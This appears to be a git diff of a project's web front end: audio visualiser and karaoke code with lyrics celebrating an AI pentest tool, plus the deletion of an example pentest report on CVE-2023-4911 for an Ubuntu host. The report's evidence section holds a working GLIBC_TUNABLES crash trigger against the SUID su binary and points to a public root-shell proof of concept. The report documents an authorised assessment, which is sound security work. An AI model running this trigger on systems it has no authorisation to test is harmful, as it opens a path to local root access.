canvas.setAttribute('tabindex', '0');-- // Insert after the hero, in normal document flow- heroEl.insertAdjacentElement('afterend', canvas);-- const ctx = canvas.getContext('2d');-- function resize() {- canvas.width = canvas.offsetWidth;- canvas.height = 80;- }- // Wait for layout before reading offsetWidth- requestAnimationFrame(() => {- resize();- window.addEventListener('resize', resize, { passive: true });- });-- /* Play / pause toggle */- function togglePlayback() {- if (audioEl.paused) audioEl.play().catch(() => {});- else audioEl.pause();- }- canvas.addEventListener('click', togglePlayback);- canvas.addEventListener('keydown', e => { if (e.key === 'Enter' || e.key === ' ') togglePlayback(); });-- try {- const audioCtx = new (window.AudioContext || window.webkitAudioContext)();- const source = audioCtx.createMediaElementSource(audioEl);- const analyser = audioCtx.createAnalyser();-- // Smaller fftSize + lower smoothing = snappier, more responsive waveform- analyser.fftSize = 1024;- analyser.smoothingTimeConstant = 0.55;-- source.connect(analyser);- analyser.connect(audioCtx.destination);-- const bufLen = analyser.fftSize; // 1024 samples- const dataArr = new Uint8Array(bufLen);-- // Amplification factor — MP3 tracks rarely fill the full 0-255 range,- // so we boost the deviation from centre to get visible oscillation- const AMPLIFY = 4.2;-- (function draw() {- requestAnimationFrame(draw);-- const W = canvas.width || canvas.offsetWidth;- const H = canvas.height || 80;- if (!W) return;-- ctx.clearRect(0, 0, W, H);-- /* ── Paused state ── */- if (audioEl.paused) {- ctx.shadowBlur = 4;- ctx.shadowColor = 'rgba(140, 30, 30, 0.5)';- ctx.strokeStyle = 'rgba(110, 24, 24, 0.5)';- ctx.lineWidth = 1.5;- ctx.beginPath();- ctx.moveTo(0, H / 2);- ctx.lineTo(W, H / 2);- ctx.stroke();-- ctx.shadowBlur = 0;- ctx.fillStyle = 'rgba(199, 90, 90, 0.7)';- ctx.font = '11px ui-monospace, "JetBrains Mono", monospace';- ctx.textAlign = 'center';- ctx.letterSpacing = '0.2em';- ctx.fillText('‖ PAUSED — CLICK TO RESUME', W / 2, H / 2 + 4);- return;- }-- analyser.getByteTimeDomainData(dataArr);-- const sliceW = W / bufLen;- const center = H / 2;-- /* ── Filled waveform area ── */- ctx.beginPath();- ctx.moveTo(0, center);- for (let i = 0; i < bufLen; i++) {- // Normalise to -1…1, then amplify- const norm = ((dataArr[i] / 128.0) - 1) * AMPLIFY;- const y = Math.max(0, Math.min(H, center + norm * center));- ctx.lineTo(i * sliceW, y);- }- ctx.lineTo(W, center);- ctx.closePath();- const grd = ctx.createLinearGradient(0, 0, 0, H);- grd.addColorStop(0, 'rgba(210, 50, 50, 0.50)');- grd.addColorStop(0.5, 'rgba(160, 30, 30, 0.20)');- grd.addColorStop(1, 'rgba(100, 15, 15, 0.05)');- ctx.fillStyle = grd;- ctx.fill();-- /* ── Glowing waveform line ── */- ctx.shadowBlur = 20;- ctx.shadowColor = 'rgba(255, 50, 50, 0.80)';- ctx.strokeStyle = '#ff3838';- ctx.lineWidth = 2;- ctx.lineJoin = 'round';- ctx.beginPath();- for (let i = 0; i < bufLen; i++) {- const norm = ((dataArr[i] / 128.0) - 1) * AMPLIFY;- const y = Math.max(0, Math.min(H, center + norm * center));- i === 0 ? ctx.moveTo(0, y) : ctx.lineTo(i * sliceW, y);- }- ctx.stroke();-- /* ── Faint mirrored reflection ── */- ctx.shadowBlur = 6;- ctx.shadowColor = 'rgba(200, 35, 35, 0.25)';- ctx.strokeStyle = 'rgba(180, 32, 32, 0.22)';- ctx.lineWidth = 1;- ctx.beginPath();- for (let i = 0; i < bufLen; i++) {- const norm = ((dataArr[i] / 128.0) - 1) * AMPLIFY;- const yr = Math.max(0, Math.min(H, center - norm * center)); // mirrored- i === 0 ? ctx.moveTo(0, yr) : ctx.lineTo(i * sliceW, yr);- }- ctx.stroke();-- /* ── "click to pause" hint ── */- ctx.shadowBlur = 0;- ctx.fillStyle = 'rgba(90, 20, 20, 0.50)';- ctx.font = '10px ui-monospace, monospace';- ctx.textAlign = 'right';- ctx.letterSpacing = '0.1em';- ctx.fillText('▶ click to pause', W - 14, 14);-- })();-- } catch (e) {- canvas.style.display = 'none';- }-}--/* ═══════════════════════════════════════════════════════════════- KARAOKE — synchronized lyrics above the waveform- One line at a time, fade in → hold → fade out.- Adjust OFFSET (seconds) to shift all lyrics forward/backward.-═══════════════════════════════════════════════════════════════ */-function initKaraoke(audioEl) {- if (!audioEl) return;-- // ── Global offset: positive = lyrics appear later, negative = earlier ──- const OFFSET = 0;-- // ── Auto-synced via Whisper anchors (107.7 BPM, 249s) ──────────- const LYRICS = [- { t: 63.92, text: 'Scan the dark, the signal\'s clear', s: 'verse' },- { t: 66.15, text: 'Hermes rises, death is near', s: 'verse' },- { t: 68.38, text: 'Kali loaded, blades are drawn', s: 'verse' },- { t: 70.61, text: 'Playwright crawls before the dawn', s: 'verse' },- { t: 72.83, text: 'ATT&CK maps the kill-chain line', s: 'verse' },- { t: 75.06, text: 'OODA loop begins the crime', s: 'verse' },- { t: 77.68, text: 'No UI, no fucking gate', s: 'prechorus' },- { t: 79.91, text: 'Four containers seal your fate', s: 'prechorus' },- { t: 82.14, text: 'Direct attack, pure intent', s: 'prechorus' },- { t: 84.37, text: 'Authorized target\u2026 no relent', s: 'prechorus' },- { t: 85.22, text: 'VULNERATOR!', s: 'chorus' },- { t: 87.54, text: 'Break the wall!', s: 'chorus' },- { t: 89.86, text: 'VULNERATOR!', s: 'chorus' },- { t: 92.18, text: 'Hear the call!', s: 'chorus' },- { t: 94.50, text: 'Hermes brain, Kali blade', s: 'chorus' },- { t: 96.81, text: 'We infiltrate, we never fade', s: 'chorus' },- { t: 99.13, text: 'VULNERATOR!', s: 'chorus' },- { t: 101.45, text: 'Rise and strike!', s: 'chorus' },- { t: 103.77, text: 'VULNERATOR!', s: 'chorus' },- { t: 106.08, text: 'Own the night!', s: 'chorus' },- { t: 122.08, text: 'Nmap whispers, nuclei screams', s: 'verse' },- { t: 124.31, text: 'Ffuf digs through broken dreams', s: 'verse' },- { t: 126.54, text: 'Sqlmap cuts, gobuster crawls', s: 'verse' },- { t: 128.77, text: 'Bloodhound maps the domain walls', s: 'verse' },- { t: 130.99, text: 'Scope is set, the hunt is real', s: 'verse' },- { t: 133.22, text: 'Every finding is made of steel', s: 'verse' },- { t: 134.54, text: 'Minimal code, maximum speed', s: 'prechorus' },- { t: 136.77, text: 'No middleman, pure need', s: 'prechorus' },- { t: 139.00, text: 'Docker fortress, silent war', s: 'prechorus' },- { t: 141.23, text: 'The agent walks the darkest floor', s: 'prechorus' },- { t: 143.95, text: 'VULNERATOR!', s: 'chorus' },- { t: 146.27, text: 'Break the wall!', s: 'chorus' },- { t: 148.59, text: 'VULNERATOR!', s: 'chorus' },- { t: 150.91, text: 'Hear the call!', s: 'chorus' },- { t: 153.22, text: 'Hermes brain, Kali blade', s: 'chorus' },- { t: 155.54, text: 'We infiltrate, we never fade', s: 'chorus' },- { t: 157.86, text: 'VULNERATOR!', s: 'chorus' },- { t: 160.18, text: 'Rise and strike!', s: 'chorus' },- { t: 162.49, text: 'VULNERATOR!', s: 'chorus' },- { t: 164.81, text: 'Own the night!', s: 'chorus' },- { t: 186.00, text: 'Observe!', s: 'bridge' },- { t: 186.81, text: 'Orient!', s: 'bridge' },- { t: 187.62, text: 'Decide!', s: 'bridge' },- { t: 188.43, text: 'ACT!', s: 'bridge' },- { t: 190.50, text: 'Observe!', s: 'bridge' },- { t: 191.31, text: 'Orient!', s: 'bridge' },- { t: 192.12, text: 'Decide!', s: 'bridge' },- { t: 192.93, text: 'ACT!', s: 'bridge' },- // Post-bridge — "Own the night!" repetitions + final chorus- { t: 201.50, text: 'Own the night!', s: 'chorus' },- { t: 209.50, text: 'Own the night!', s: 'chorus' },- // Final chorus (precise Whisper timestamps)- { t: 215.16, text: 'VULNERATOR!', s: 'chorus' },- { t: 217.48, text: 'Break the wall!', s: 'chorus' },- { t: 219.78, text: 'VULNERATOR!', s: 'chorus' },- { t: 222.08, text: 'Hear the call!', s: 'chorus' },- { t: 224.38, text: 'Hermes brain, Kali blade', s: 'chorus' },- { t: 226.68, text: 'We infiltrate, we never fade', s: 'chorus' },- { t: 228.98, text: 'VULNERATOR!', s: 'chorus' },- { t: 229.76, text: 'Rise and strike!', s: 'chorus' },- { t: 233.04, text: 'VULNERATOR!', s: 'chorus' },- { t: 237.94, text: 'Own the night!', s: 'chorus' },- { t: 242.56, text: 'Own the night!', s: 'chorus' },- ];-- // Apply offset- const lines = LYRICS.map(l => ({ ...l, t: l.t + OFFSET }));-- // ── Wait for waveform canvas to exist then insert zone after it ──- function insertZone() {- const canvas = document.getElementById('visualizer');- if (!canvas) { requestAnimationFrame(insertZone); return; }-- const zone = document.createElement('div');- zone.id = 'karaoke-zone';-- const lineEl = document.createElement('div');- lineEl.id = 'karaoke-line';- zone.appendChild(lineEl);-- canvas.insertAdjacentElement('afterend', zone);- startTracking(lineEl);- }- requestAnimationFrame(insertZone);-- function startTracking(lineEl) {- let lastIdx = -1;- let fadeOutTimer = null;-- // ── VULNERATOR flash overlay ──────────────────────────────────- var flashEl = document.createElement('div');- flashEl.id = 'vuln-flash';- document.body.appendChild(flashEl);-- function triggerFlash() {- flashEl.classList.remove('vuln-flash--go');- void flashEl.offsetWidth; // force reflow — restart animation- flashEl.classList.add('vuln-flash--go');- }-- function showLine(idx) {- const entry = lines[idx];- clearTimeout(fadeOutTimer);-- // Set section class + text before making visible- lineEl.className = 'kl kl--' + entry.s;- lineEl.textContent = entry.text;-- // VULNERATOR flash- if (entry.text === 'VULNERATOR!') triggerFlash();-- // Force opacity via style (more reliable than CSS animation on Android Chrome)- lineEl.style.transition = 'none';- lineEl.style.opacity = '0';- lineEl.style.transform = 'translateY(4px)';-- // Next frame: animate in- requestAnimationFrame(() => {- requestAnimationFrame(() => {- lineEl.style.transition = 'opacity 0.35s ease, transform 0.35s ease';- lineEl.style.opacity = '1';- lineEl.style.transform = 'translateY(0)';- });- });-- // Compute hold time until next line (min 0.8s, max 5s)- const nextT = idx + 1 < lines.length ? lines[idx + 1].t : entry.t + 4;- const hold = Math.max(800, Math.min(5000, (nextT - entry.t - 0.6) * 1000));-- fadeOutTimer = setTimeout(() => {- lineEl.style.transition = 'opacity 0.5s ease, transform 0.5s ease';- lineEl.style.opacity = '0';- lineEl.style.transform = 'translateY(-4px)';- }, hold);- }-- audioEl.addEventListener('timeupdate', () => {- const t = audioEl.currentTime;- let idx = -1;- for (let i = 0; i < lines.length; i++) {- if (lines[i].t <= t) idx = i;- else break;- }- if (idx !== lastIdx) {- lastIdx = idx;- if (idx >= 0) showLine(idx);- else {- clearTimeout(fadeOutTimer);- lineEl.className = 'kl';- lineEl.textContent = '';- }- }- });-- audioEl.addEventListener('seeked', () => { lastIdx = -1; });- }-}--/* ═══════════════════════════════════════════════════════════════- AUDIO CONTROLS BAR — play/pause · seek · time · volume- Inserted below the karaoke zone in normal document flow.- Hides the corner mute button (superseded by inline volume).-═══════════════════════════════════════════════════════════════ */-function initAudioControls(audioEl) {- if (!audioEl) return;-- // Hide the corner mute button — volume is now in the bar- var cornerCtrl = document.getElementById('audio-ctrl');- if (cornerCtrl) cornerCtrl.style.display = 'none';-- // ── Build the bar ──────────────────────────────────────────────- var bar = document.createElement('div');- bar.id = 'audio-bar';- bar.setAttribute('role', 'region');- bar.setAttribute('aria-label', 'Audio player controls');-- bar.innerHTML =- // Play / pause- '<button id="ab-play" class="ab-btn" aria-label="Play / pause">' +- '<svg id="ab-icon-play" viewBox="0 0 24 24" width="18" height="18" fill="currentColor" aria-hidden="true"><path d="M8 5v14l11-7z"/></svg>' +- '<svg id="ab-icon-pause" viewBox="0 0 24 24" width="18" height="18" fill="currentColor" aria-hidden="true" style="display:none"><path d="M6 19h4V5H6v14zm8-14v14h4V5h-4z"/></svg>' +- '</button>' +- // Time current- '<span id="ab-time" class="ab-time">0:00</span>' +- // Seek bar- '<div class="ab-seek-wrap">' +- '<input id="ab-seek" class="ab-range" type="range" min="0" max="100" value="0" step="0.1" aria-label="Seek">' +- '</div>' +- // Duration- '<span id="ab-dur" class="ab-time ab-dur">—:——</span>' +- // Volume icon- '<button id="ab-mute" class="ab-btn ab-btn--sm" aria-label="Mute / unmute">' +- '<svg id="ab-vol-icon" viewBox="0 0 24 24" width="16" height="16" fill="currentColor" aria-hidden="true"><path d="M3 9v6h4l5 5V4L7 9H3zm13.5 3c0-1.77-1.02-3.29-2.5-4.03v8.05c1.48-.73 2.5-2.25 2.5-4.02zM14 3.23v2.06c2.89.86 5 3.54 5 6.71s-2.11 5.85-5 6.71v2.06c4.01-.91 7-4.49 7-8.77s-2.99-7.86-7-8.77z"/></svg>' +- '</button>' +- // Volume slider- '<div class="ab-vol-wrap">' +- '<input id="ab-vol" class="ab-range ab-range--vol" type="range" min="0" max="1" value="0.4" step="0.01" aria-label="Volume">' +- '</div>';-- // Insert after karaoke zone, or after visualizer- var anchor = document.getElementById('karaoke-zone') || document.getElementById('visualizer');- if (anchor) anchor.insertAdjacentElement('afterend', bar);- else document.body.appendChild(bar);-- // ── Element refs ───────────────────────────────────────────────- var playBtn = document.getElementById('ab-play');- var iconPlay = document.getElementById('ab-icon-play');- var iconPause = document.getElementById('ab-icon-pause');- var timeEl = document.getElementById('ab-time');- var durEl = document.getElementById('ab-dur');- var seekEl = document.getElementById('ab-seek');- var muteBtn = document.getElementById('ab-mute');- var volEl = document.getElementById('ab-vol');- var volIcon = document.getElementById('ab-vol-icon');-- // ── Helpers ───────────────────────────────────────────────────- var MUTE_SVG = '<path d="M16.5 12c0-1.77-1.02-3.29-2.5-4.03v2.21l2.45 2.45c.03-.2.05-.41.05-.63zm2.5 0c0 .94-.2 1.82-.54 2.64l1.51 1.51C20.63 14.91 21 13.5 21 12c0-4.28-2.99-7.86-7-8.77v2.06c2.89.86 5 3.54 5 6.71zM4.27 3L3 4.27 7.73 9H3v6h4l5 5v-6.73l4.25 4.25c-.67.52-1.42.93-2.25 1.18v2.06c1.38-.31 2.63-.95 3.69-1.81L19.73 21 21 19.73l-9-9L4.27 3zM12 4L9.91 6.09 12 8.18V4z"/>';- var SPK_SVG = '<path d="M3 9v6h4l5 5V4L7 9H3zm13.5 3c0-1.77-1.02-3.29-2.5-4.03v8.05c1.48-.73 2.5-2.25 2.5-4.02zM14 3.23v2.06c2.89.86 5 3.54 5 6.71s-2.11 5.85-5 6.71v2.06c4.01-.91 7-4.49 7-8.77s-2.99-7.86-7-8.77z"/>';-- function fmt(s) {- s = Math.max(0, Math.floor(s));- return Math.floor(s / 60) + ':' + String(s % 60).padStart(2, '0');- }-- function updatePlayIcon() {- var paused = audioEl.paused;- iconPlay.style.display = paused ? '' : 'none';- iconPause.style.display = !paused ? '' : 'none';- bar.classList.toggle('ab--playing', !paused);- }-- function updateVolIcon() {- volIcon.innerHTML = audioEl.muted || audioEl.volume === 0 ? MUTE_SVG : SPK_SVG;- }-- // ── Wire events ───────────────────────────────────────────────- // Play / pause- playBtn.addEventListener('click', function () {- if (audioEl.paused) audioEl.play().catch(function(){});- else audioEl.pause();- });-- // Seek- var seeking = false;- seekEl.addEventListener('mousedown', function(){ seeking = true; });- seekEl.addEventListener('touchstart', function(){ seeking = true; }, { passive: true });- seekEl.addEventListener('input', function () {- if (audioEl.duration) audioEl.currentTime = (seekEl.value / 100) * audioEl.duration;- });- seekEl.addEventListener('change', function () { seeking = false; });-- // Volume- volEl.addEventListener('input', function () {- audioEl.volume = parseFloat(volEl.value);- audioEl.muted = audioEl.volume === 0;- volEl.style.setProperty('--pct', (parseFloat(volEl.value) * 100) + '%');- updateVolIcon();- });-- // Mute toggle- muteBtn.addEventListener('click', function () {- audioEl.muted = !audioEl.muted;- if (!audioEl.muted && audioEl.volume === 0) { audioEl.volume = 0.4; volEl.value = '0.4'; }- updateVolIcon();- });-- // Sync time + seek position- audioEl.addEventListener('timeupdate', function () {- if (!seeking && audioEl.duration) {- seekEl.value = (audioEl.currentTime / audioEl.duration) * 100;- // Update CSS progress fill variable- seekEl.style.setProperty('--pct', seekEl.value + '%');- }- timeEl.textContent = fmt(audioEl.currentTime);- });-- audioEl.addEventListener('durationchange', function () {- durEl.textContent = fmt(audioEl.duration);- });-- audioEl.addEventListener('play', updatePlayIcon);- audioEl.addEventListener('pause', updatePlayIcon);-- // Init volume- audioEl.volume = 0.4;- volEl.value = '0.4';- volEl.style.setProperty('--pct', '40%');- seekEl.style.setProperty('--pct', '0%');- updatePlayIcon();- updateVolIcon();-}diff --git a/docs/pentest-report-example.html b/docs/pentest-report-example.htmldeleted file mode 100644index 0ac5d92..0000000--- a/docs/pentest-report-example.html+++ /dev/null@@ -1,536 +0,0 @@-<!DOCTYPE html>-<html lang="en">-<head>-<meta charset="UTF-8">-<meta name="viewport" content="width=device-width, initial-scale=1.0">-<title>Vulnerator-AI — Pentest Report: CVE-2023-4911</title>-<style>- :root {- --bg: #0d0000;- --bg-panel: #180000;- --bg-card: #1e0000;- --border: #cc0000;- --border-dim: #550000;- --red: #cc0000;- --red-bright: #ff4444;- --green: #00ff41;- --green-dim: #007a1f;- --text: #e8e8e8;- --text-dim: #aa7777;- --text-muted: #664444;- --yellow: #ff8800;- --code-bg: #0a0000;- }-- * { box-sizing: border-box; margin: 0; padding: 0; }-- body {- background: var(--bg);- color: var(--text);- font-family: 'Segoe UI', system-ui, -apple-system, sans-serif;- font-size: 14px;- line-height: 1.6;- }-- /* ── Header ── */- .site-header {- background: var(--bg-panel);- border-bottom: 2px solid var(--border);- padding: 16px 32px;- display: flex;- align-items: center;- gap: 12px;- }- .site-header .logo {- font-family: monospace;- font-size: 22px;- font-weight: bold;- color: var(--red-bright);- letter-spacing: 2px;- }- .site-header .logo span { color: var(--green); }- .site-header .tagline {- font-size: 11px;- color: var(--text-dim);- letter-spacing: 1px;- text-transform: uppercase;- margin-left: auto;- }-- /* ── Report meta bar ── */- .report-meta {- background: var(--bg-panel);- border-bottom: 1px solid var(--border-dim);- padding: 12px 32px;- display: flex;- gap: 32px;- flex-wrap: wrap;- }- .meta-item { display: flex; flex-direction: column; gap: 2px; }- .meta-label { font-size: 10px; color: var(--text-muted); text-transform: uppercase; letter-spacing: 1px; }- .meta-value { font-size: 13px; color: var(--text); font-family: monospace; }-- /* ── Main layout ── */- .container { max-width: 1100px; margin: 0 auto; padding: 32px; }-- /* ── Severity badge ── */- .badge {- display: inline-block;- padding: 3px 10px;- border-radius: 3px;- font-size: 11px;- font-weight: bold;- letter-spacing: 1px;- text-transform: uppercase;- }- .badge-high { background: #7a0000; color: #ff4444; border: 1px solid #cc0000; }- .badge-medium { background: #5a3000; color: #ff8800; border: 1px solid #885500; }- .badge-low { background: #1a3a00; color: #88ff00; border: 1px solid #337700; }- .badge-info { background: #002244; color: #4488ff; border: 1px solid #224488; }- .badge-ok { background: #003300; color: #00ff41; border: 1px solid #007722; }- .badge-cvss { background: #7a0000; color: #ffcc00; border: 1px solid #cc0000; font-size: 13px; padding: 4px 14px; }-- /* ── CVSS hero ── */- .cvss-hero {- background: var(--bg-panel);- border: 2px solid var(--red);- border-radius: 6px;- padding: 24px 32px;- margin-bottom: 32px;- display: flex;- align-items: center;- gap: 32px;- flex-wrap: wrap;- }- .cvss-score {- font-family: monospace;- font-size: 56px;- font-weight: bold;- color: var(--red-bright);- line-height: 1;- }- .cvss-score .cvss-label { display: block; font-size: 12px; color: var(--text-dim); letter-spacing: 2px; margin-bottom: 4px; }- .cvss-details { flex: 1; }- .cvss-cve {- font-family: monospace;- font-size: 24px;- color: var(--green);- font-weight: bold;- margin-bottom: 8px;- }- .cvss-vector {- font-family: monospace;- font-size: 11px;- color: var(--text-dim);- background: var(--code-bg);- padding: 4px 8px;- border-radius: 3px;- border-left: 2px solid var(--border-dim);- margin-bottom: 8px;- }- .cvss-tags { display: flex; gap: 8px; flex-wrap: wrap; }-- /* ── Sections ── */- .section { margin-bottom: 40px; }- .section-title {- font-size: 13px;- font-weight: bold;- color: var(--green);- letter-spacing: 2px;- text-transform: uppercase;- border-bottom: 1px solid var(--border-dim);- padding-bottom: 8px;- margin-bottom: 20px;- display: flex;- align-items: center;- gap: 8px;- }- .section-title::before { content: '⚡'; color: var(--red-bright); }- .section-title .section-num { color: var(--text-muted); font-weight: normal; }-- /* ── Executive summary box ── */- .exec-summary {- background: var(--bg-panel);- border-left: 3px solid var(--red);- padding: 20px 24px;- border-radius: 0 6px 6px 0;- color: var(--text);- line-height: 1.8;- }- .exec-summary code { background: var(--code-bg); padding: 1px 5px; border-radius: 3px; font-size: 12px; color: var(--green); }-- /* ── Tables ── */- table { width: 100%; border-collapse: collapse; font-size: 13px; }- th {- background: var(--bg-card);- color: var(--text-dim);- text-align: left;- padding: 8px 12px;- font-size: 11px;- letter-spacing: 1px;- text-transform: uppercase;- border-bottom: 1px solid var(--border);- }- td {- padding: 9px 12px;- border-bottom: 1px solid var(--border-dim);- vertical-align: top;- }- tr:hover td { background: rgba(204,0,0,0.04); }- td code { background: var(--code-bg); padding: 1px 5px; border-radius: 3px; font-size: 12px; color: var(--green); }- td strong { color: var(--text); }- .td-key { color: var(--text-dim); font-size: 12px; white-space: nowrap; width: 200px; }- .td-val { color: var(--text); }-- /* ── Terminal / code blocks ── */- .terminal {- background: var(--code-bg);- border: 1px solid var(--border-dim);- border-radius: 6px;- overflow: hidden;- margin: 16px 0;- }- .terminal-bar {- background: var(--bg-card);- border-bottom: 1px solid var(--border-dim);- padding: 6px 12px;- font-size: 11px;- color: var(--text-muted);- display: flex;- align-items: center;- gap: 8px;- }- .terminal-bar .dot { width: 8px; height: 8px; border-radius: 50%; }- .dot-red { background: #cc0000; }- .dot-amber { background: #ff8800; }- .dot-green { background: #00ff41; }- .terminal-body {- padding: 16px 20px;- font-family: 'Cascadia Code', 'Fira Code', 'Courier New', monospace;- font-size: 12px;- color: var(--green);- overflow-x: auto;- white-space: pre;- line-height: 1.7;- }- .terminal-body .cmd { color: #e8e8e8; }- .terminal-body .out-ok { color: var(--green); }- .terminal-body .out-err { color: var(--red-bright); }- .terminal-body .comment { color: var(--text-muted); }-- /* ── Controls table ── */- .controls-table td.rc-ok { color: var(--green); font-family: monospace; }- .controls-table td.rc-fail { color: var(--red-bright); font-family: monospace; font-weight: bold; }- .controls-table td.result-fail { color: var(--red-bright); }- .controls-table td.result-ok { color: var(--green); }-- /* ── Discarded vectors ── */- .discarded-row td { opacity: 0.65; }- .discarded-row td:first-child { text-decoration: line-through; text-decoration-color: var(--border-dim); }-- /* ── Remediation steps ── */- .remediation-list { list-style: none; padding: 0; }- .remediation-list li {- background: var(--bg-panel);- border-left: 3px solid var(--yellow);- padding: 14px 18px;- margin-bottom: 10px;- border-radius: 0 6px 6px 0;- line-height: 1.7;- }- .remediation-list li strong { color: var(--yellow); }- .remediation-list li code { background: var(--code-bg); padding: 1px 5px; border-radius: 3px; font-size: 12px; color: var(--green); }- .remediation-list li .priority {- font-size: 10px; letter-spacing: 1px; text-transform: uppercase;- color: var(--text-muted); margin-bottom: 6px; display: block;- }- .remediation-list li .priority.p1 { color: var(--red-bright); }- .remediation-list li .priority.p2 { color: var(--yellow); }- .remediation-list li .priority.p3 { color: var(--text-dim); }-- /* ── Scope checklist ── */- .scope-list { list-style: none; padding: 0; }- .scope-list li {- padding: 8px 12px;- display: flex;- align-items: center;- gap: 10px;- border-bottom: 1px solid var(--border-dim);- font-size: 13px;- }- .scope-list li:last-child { border-bottom: none; }- .scope-list li .check { color: var(--green); font-size: 16px; }- .scope-note {- margin-top: 16px;- background: var(--bg-panel);- border: 1px solid var(--green-dim);- border-radius: 6px;- padding: 14px 18px;- color: var(--text-dim);- font-size: 13px;- line-height: 1.7;- }- .scope-note strong { color: var(--green); }-- /* ── Footer ── */- .site-footer {- background: var(--bg-panel);- border-top: 1px solid var(--border-dim);- padding: 20px 32px;- margin-top: 48px;- display: flex;- justify-content: space-between;- align-items: center;- flex-wrap: wrap;- gap: 12px;- }- .site-footer .footer-brand { font-family: monospace; font-size: 13px; color: var(--red); }- .site-footer .footer-brand span { color: var(--green); }- .site-footer .footer-meta { font-size: 11px; color: var(--text-muted); text-align: right; }-- /* ── Condition pills ── */- .condition-pills { display: flex; flex-wrap: wrap; gap: 8px; margin-top: 12px; }- .pill {- background: var(--bg-card);- border: 1px solid var(--border-dim);- border-radius: 12px;- padding: 3px 10px;- font-size: 11px;- font-family: monospace;- color: var(--text-dim);- }- .pill.active { border-color: var(--red); color: var(--red-bright); }-- code { font-family: 'Cascadia Code', 'Fira Code', monospace; }-</style>-</head>-<body>--<!-- ── Header ── -->-<header class="site-header">- <div class="logo">VULNERATOR<span>-AI</span></div>- <div class="tagline">OODA Pentest Engine · Automated Security Assessment</div>-</header>--<!-- ── Report meta ── -->-<div class="report-meta">- <div class="meta-item"><span class="meta-label">Engagement</span><span class="meta-value">eng-ubuntu-server-01-lpe</span></div>- <div class="meta-item"><span class="meta-label">Target</span><span class="meta-value">ubuntu-server-01</span></div>- <div class="meta-item"><span class="meta-label">Mode</span><span class="meta-value">pentest</span></div>- <div class="meta-item"><span class="meta-label">Initial access</span><span class="meta-value">SSH agent_user (uid=1001)</span></div>- <div class="meta-item"><span class="meta-label">System</span><span class="meta-value">Ubuntu 23.04 lunar · Docker · kernel 6.2.0-39-generic</span></div>- <div class="meta-item"><span class="meta-label">Date</span><span class="meta-value">2026-10-18</span></div>-</div>--<div class="container">-- <!-- ── CVSS Hero ── -->- <div class="cvss-hero">- <div class="cvss-score">- <span class="cvss-label">CVSS 3.1</span>- 7.8- </div>- <div class="cvss-details">- <div class="cvss-cve">CVE-2023-4911 · "Looney Tunables"</div>- <div class="cvss-vector">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</div>- <div class="cvss-tags">- <span class="badge badge-high">HIGH</span>- <span class="badge badge-high">LPE</span>- <span class="badge badge-high">CISA KEV</span>- <span class="badge badge-info">T1068</span>- <span class="badge badge-medium">Public exploit</span>- </div>- </div>- <div style="text-align:right">- <div style="font-size:11px;color:var(--text-muted);margin-bottom:4px">OODA LOOP</div>- <div style="font-size:28px;color:var(--green);font-family:monospace;font-weight:bold">14 steps</div>- <div style="font-size:11px;color:var(--text-muted)">OBSERVE→ORIENT→DECIDE→ACT→REPORT</div>- </div>- </div>-- <!-- ── 1. Executive Summary ── -->- <div class="section">- <div class="section-title"><span class="section-num">01 /</span> Executive Summary</div>- <div class="exec-summary">- A <strong>high-severity</strong> local privilege escalation (LPE) vulnerability was identified- and demonstrated: <strong>CVE-2023-4911</strong> ("Looney Tunables") in the system's glibc.- The <code>libc6</code> package is installed at version <code>2.37-0ubuntu2</code>- (pinned with <code>apt hold</code>, dpkg state <code>hi</code>), one revision behind the- official security patch <code>2.37-0ubuntu2.1</code> (USN-6409-1).<br><br>- Any local user — including the unprivileged <code>agent_user</code> — can execute code as root- through standard SUID binaries (<code>su</code>, <code>sudo</code>, <code>mount</code>,- <code>passwd</code>…). In this engagement (<strong>mode: pentest</strong>), exploitability was- demonstrated with a <strong>100% reproducible</strong> confirmed crash of the privileged- <code>ld.so</code>; no root shell was obtained, in accordance with the declared scope.- </div>- </div>-- <!-- ── 2. Main Finding ── -->- <div class="section">- <div class="section-title"><span class="section-num">02 /</span> Main Finding</div>- <table>- <tr><td class="td-key">CVE</td><td class="td-val"><strong>CVE-2023-4911</strong> — buffer overflow in <code>ld.so</code> (glibc) while processing the <code>GLIBC_TUNABLES</code> environment variable</td></tr>- <tr><td class="td-key">MITRE ATT&CK</td><td class="td-val"><code>T1068</code> — Exploitation for Privilege Escalation</td></tr>- <tr><td class="td-key">Attack vector</td><td class="td-val">Local: unprivileged user → runs a SUID-root binary with malformed <code>GLIBC_TUNABLES</code> → <code>ld.so</code> (running as root) overflows the heap in <code>tunables_strdup()</code> during <code>__tunables_init()</code>, before secure mode sanitises the environment → loader struct corruption → code execution as root</td></tr>- <tr><td class="td-key">Introduced</td><td class="td-val">glibc 2.34 (April 2021, commit <code>2ed18c5b534d9e92fc006202a5af0df6b72e7aca</code>, BZ #27471)</td></tr>- <tr><td class="td-key">Affected version</td><td class="td-val"><code>libc6 2.37-0ubuntu2</code> — confirmed with <code>dpkg -l</code> / <code>ldd --version</code></td></tr>- <tr><td class="td-key">Patched version</td><td class="td-val"><code>libc6 2.37-0ubuntu2.1</code> — USN-6409-1 (security pocket)</td></tr>- <tr><td class="td-key">CVSS 3.1</td><td class="td-val"><span class="badge badge-cvss">7.8 HIGH</span></td></tr>- <tr><td class="td-key">Exploitation status</td><td class="td-val"><span class="badge badge-high">CISA KEV · active exploitation</span></td></tr>- <tr><td class="td-key">Public exploit</td><td class="td-val">Yes — working PoC (root shell) at <code>github.com/leesh3288/CVE-2023-4911</code>; Qualys TRU obtained full root on default Ubuntu 23.04 installations</td></tr>- </table>- </div>-- <!-- ── 3. Evidence ── -->- <div class="section">- <div class="section-title"><span class="section-num">03 /</span> Exploitability Evidence</div>- <p style="color:var(--text-dim);margin-bottom:12px;font-size:13px">Reproducer executed as <code>agent_user</code> (uid=1001) on the target:</p>-- <div class="terminal">- <div class="terminal-bar">- <span class="dot dot-red"></span><span class="dot dot-amber"></span><span class="dot dot-green"></span>- <span>agent_user@ubuntu-server-01 — bash</span>- </div>- <div class="terminal-body"><span class="comment"># Trigger CVE-2023-4911 — 10 consecutive attempts</span>-<span class="cmd">for i in $(seq 1 10); do- GLIBC_TUNABLES="glibc.malloc.mxfast=glibc.malloc.mxfast=$(printf 'A%.0s' $(seq 1 1500))" \- /usr/bin/su --help 2>&1- echo "attempt $i: rc=$?"-done</span>-<span class="out-err">Segmentation fault-attempt 1: rc=139-Segmentation fault-attempt 2: rc=139-...-Segmentation fault-attempt 10: rc=139</span></div>- </div>-- <p style="color:var(--text-dim);margin:16px 